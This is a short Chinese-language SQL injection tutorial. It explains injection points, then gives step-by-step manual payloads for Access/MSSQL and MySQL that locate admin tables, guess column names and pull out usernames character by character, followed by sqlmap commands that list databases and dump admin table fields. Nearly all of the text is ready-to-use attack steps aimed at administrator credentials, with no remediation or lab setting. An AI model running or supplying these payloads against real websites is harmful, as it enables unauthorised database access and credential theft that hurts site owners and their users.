開發人員在開發Web系統時對輸入的數據沒有進行有效的驗證及過濾,就存在引發SQL注入漏洞的可能,並導致查看、插入、刪除數據庫的數據,甚至可以執行主機系統命令。
1.可能出現asp?id=x的網站
只能是基於asp、PHP、jsp、aspx的動態網站,並且存在數據庫交互,例:登陸、留言板、搜索、新聞。但是靜態頁面不可以,如html、htm。
2.漏洞測試
(1)單引號測試:在頁面中執行命令時使用成對單引號和單個單引號進行測試,查看是否有SQL注入;
(2)利用條件語句測試:利用SQL連接選項‘and’連接URL,把1=1和1=2作為條件同樣連接進去,如果條件不成立數據庫就會發生變化,代表存在注入,同時也可以判斷數據庫的類型。
3.Acess數據庫注入(手動)
(1)使用‘and’語句來判斷是否存在注入;
(2)判斷數據庫類型;
and (select count(*) from msysobjects)>0;返回權限不足是access表,反之則MSSQL。
(3)查看數據庫名;
and db_name()>0
(4)查看版本信息;
and 0<>(select @@version)
(5)查看數據庫中是否存在admin這個管理表;
and exists(select * from [admin])
and (select count(*) from admin)>0
(6)查看admin這個表中是否有username這個管理列;
and exists(select top 1 [username] from [admin])
and (select username from admin)>0
(7)猜測admin這個管理列中用戶名的長度;
and (select top 1 len(username) from admin)>0
后面的長度隨意猜測,選擇最大返回正常值加1作為長度。
(8)取出username的ASCII碼值;
and (select top 1 asc(mid(username,N,1)) from admin)>0
mid()函數用來截取,N為第幾位,‘1’代表幾位數;得到的結果可用工具小葵進行轉換,得到的便是真實值。
4.MySQL數據庫注入(手動)
(1)判斷注入點,后面加#,返回正常則為MySQL數據庫;
(2)判斷字段數;
orderb by 1--
數字可以不斷的加,當返回值改變時,則為全部字段數+1;得到字段數來判斷能回顯數據的位置
(3)聯合查詢,判斷可回顯數據的位置;
union select 1,2,3...(上一個得到的字段數)--
要在URL中加入一個錯誤的判斷值(and 1=2 或在數值前加‘-’號)頁面才會顯示能夠顯示數據的位置。
(4)查看用戶,版本,庫名
user(),version(),database()
(5)查看管理表(常見的管理表命名方式:system、login、admin、users)
union select 1,table_name(此處為可顯示數據的位置),3,...(字段數) from Information_schema.tables where table_schema=(此處為庫名的16進制數) limit 0,1--
(6)查看列
union select 1,column_name,3,..., from Information_schema.column where table_name=(表名16進制) limit 0,1--
5.sqlmap
(1)需要在python環境下運行;
(2)測試是否為注入點;
sqlmap.py -u "URL"
(3)獲取數據列表;
sqlmap.py -u "URL" --dbs
(4)當前數據庫;
sqlmap.py -u "URL" --current-db
(5)獲取數據庫所有表信息;
sqlmap.py -u "URL" --tables -D "目標數據庫"
(6)獲取列;
sqlmap.py -u "URL" --column -T "管理表" -D “目標數據庫”
(7)獲取字段;
sqlmap.py -u "URL" --dump -C "字段" -T “管理表” -D “目標數據庫”